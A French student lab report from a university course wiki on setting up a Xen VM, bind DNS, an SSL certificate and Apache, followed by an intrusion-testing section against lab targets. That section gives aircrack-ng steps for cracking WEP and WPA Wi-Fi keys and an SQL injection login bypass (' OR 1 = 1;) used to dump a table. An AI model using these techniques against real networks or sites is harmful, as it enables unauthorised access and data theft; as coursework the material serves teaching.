TP sysres IMA5 2021/2022 G11 : Différence entre versions

De Wiki d'activités IMA
(Serveur web)
(Test d'intrusion)
Ligne 409 : Ligne 409 :
  
 
Le processus peut prendre plusieurs heures.
 
Le processus peut prendre plusieurs heures.
 +
 +
=Injection SQL=
 +
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend
 +
Pour ce faire, on met dans la cellule 'identifiant' la valeur
 +
' OR 1 = 1;
 +
Coté backend, la requete  SQL effectuée ressemble probablement à
 +
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';
 +
 +
En conséquence, notre injection génère la requete :
 +
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';
 +
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table

Version du 13 décembre 2021 à 18:09

Creation de la machine virtuelle

Tout d'abord, s'il y a un problème de proxy, taper la commande :

export http_proxy=http://proxy.plil.fr:3128

Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.

On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton Pour ce faire, on se connecte d'abord en SSH sur root@capbreton On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière. J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.

La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation. On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.

xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye

On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :

lvcreate -L10G -n Corona1 storage
lvcreate -L10G -n Corona2 storage

On les formate en ext4 :

mkfs.ext4 /dev/storage/Corona1
mkfs.ext4 /dev/storage/Corona2

Enfin, on modifie le fichier /etc/xen/Corona.cfg :

disk        = [
                'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',
                'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',
             ]

devient :

disk        = [
                'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',
                'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',
                'phy:/dev/storage/Corona1,xvda3,w',
                'phy:/dev/storage/Corona2,xvda4,w',
             ]

et

vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]

devient :

vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]


Pour lancer la VM, on execute :

xl create -c /etc/xen/Corona.cfg


Dans la VM, on visualise les informations relatives au file system avec la commande :

cat /etc/fstab

xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :

mkdir /mnt/xvda3
mkdir /mnt/xvda4
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4

On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :

mv /var/* /mnt/xvda4

Puis dans /etc/fstab, on ajoute :

/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Ensuite, on execute :

mount -a

Enfin, on vérifie que les partitions ajoutées existent :

lsblk


On ajoute ensuite la ligne suivante dans /etc/network/interfaces :

iface eth0 inet6 auto 

On applique les changements en redemarrant :

systemctl restart networking

On vérifie que la modification a eu lieu :

ip a


Raccourci pour quitter la VM : CTRL + ']'
Commande pour se connecter à la VM : xen console Corona

Configuration de la VM

A présent, on configure la VM. On installe openssh-server s'il n'est pas installé :

apt install openssh-server

On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :

PermitRootLogin without-password
PubkeyAuthentication yes

Puis on recharge la configuration avec :

systemctl reload ssh

Sur la zabeth, on créé une clé ssh avec :

ssh-keygen -t ed25519

On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM. Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande :

ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186


Déploiement site

On achète le nom de domaine 'corona59.club' sur Gandi.net Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186. On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"


On installe ensuite bind sur la vm :

apt install bind9

et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :

nameserver 193.48.57.186

(peut etre utiliser 127.0.0.1, mais je suis pas sûr) On modifie ensuite /etc/bind/named.conf.local :

zone MON_NOM_DE_DOMAINE {
        type master;
        file "/etc/bind/db.MON_NOM_DE_DOMAINE
        allow-transfer { 217.70.177.40; };
};

l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.

On créé ensuite le fichier /etc/bind/db.corona59.club :

$TTL    604800
@       IN      SOA     ns.corona59.club postmaster.corona59.club. (
                              4         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      ns.corona59.club.
@       IN      NS      ns6.gandi.net.

On ajoute au fichier /etc/bind/db.corona59.club :

ns      IN      A       193.48.57.186
www     IN      A       193.48.57.186
        IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec

On teste que notre configuration est correcte :

host -t any ns.corona59.club localhost

On obtient :

Using domain server:
Name: localhost
Address: 127.0.0.1#53
Aliases: 
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800
corona59.club name server ns.corona59.club.
corona59.club name server ns6.gandi.net.

Si on obtient pas ça, penser à lancer la commande :

tail -50 /var/log/daemon.log

afin de voir ce qui c'est mal passé.

A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec

service bind9 restart

Certificat SSL

Pour obtenir un certificat SSL, on tape :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr 

On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name" Un fichier .csr et .key sont créés. On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.

Serveur web

Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.

a2enmod ssl

On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :

<VirtualHost 193.48.57.186:443>
       ServerName corona59.club
       ServerAlias www.corona59.club
       DocumentRoot /var/www/corona59.club/
       CustomLog /var/log/apache2/secure_access.log combined

       SSLEngine on
       SSLCertificateFile /etc/ssl/certs/corona59.club.crt
       SSLCertificateKeyFile /etc/ssl/corona59.club.key
       SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem
       SSLVerifyClient None
</VirtualHost>

On active notre site avec la commande :

a2ensite 000-corona59.club-ssl 

On édite le fichier /etc/apache2/apache2.conf en rajoutant

ServerName corona59.club

On relance apache :

systemctl reload apache2

On teste le fonctionnement avec :

openssl s_client -connect 193.48.57.186:443
CONNECTED(00000003)
Can't use SSL_get_servername
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority
verify return:1
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
verify return:1
depth=0 CN = corona59.club
verify return:1
---
Certificate chain
 0 s:CN = corona59.club
   i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
 1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
   i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY
e0D4Wcue+OV6y/j2
-----END CERTIFICATE-----
subject=CN = corona59.club   
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 3674 bytes and written 363 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF
    Session-ID-ctx: 
    Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.
    0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....
    0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P
    0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....
    0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b
    0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &_.....TUV,..B..
    0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u
    0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(
    0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.
    0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.
    00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..
    00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s".....
    00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....
    00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  
    Start Time: 1639409551
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67
    Session-ID-ctx: 
    Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.
    0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P"(..
    0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...
    0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N
    0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.
    0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)
    0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&.....n.k.
    0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U
    0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........>a.m....
    0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.
    00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........
    00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....
    00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...".O#...d.\.
    00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... 
   Start Time: 1639409551
   Timeout   : 7200 (sec)
   Verify return code: 0 (ok)
   Extended master secret: no
   Max Early Data: 0
---
read R BLOCK
closed

La commande :

apachectl configtest

nous confirme que la config est OK

Test d'intrusion

On commence par tenter de casser une clé WEP. Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :

airmon-ng

puis on lance (3 représente la channel utilisée)

airmon-ng start NOM_DE_L_INTERFACE 3

Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.
Pour visualiser les paquets sniffés, on execute alors

airodump-ng -c 3 wlan0mon

On observe plusieurs emetteurs, avec leur BSSID associé. On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A On lance alors la commande :

airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon

Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :

aircrack-ng MonFichier-01.cap

Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.


On essaye à présent de casser une clé WPA. On scanne la bande de fréquence 9 :

airodump-ng -c 9 wlan0mon

On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A On récupère ensuite des handshakes avec la commande :

airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon

Par la suite, on souhaite utiliser l'utilitaire crunch.

apt install crunch

Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :

auto enp4s0
iface enp4s0 inet static
  address 172.26.145.121/24
  gateway 172.26.145.254

Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :

crunch 8 8 0123456789 -o password.lst

Enfin, on lance la commande :

aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap

Le processus peut prendre plusieurs heures.

Injection SQL

A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend Pour ce faire, on met dans la cellule 'identifiant' la valeur

' OR 1 = 1;

Coté backend, la requete SQL effectuée ressemble probablement à

select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';

En conséquence, notre injection génère la requete :

select * from table1 where $id= or 1=1; ' and $password='$CELLULE2';

Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table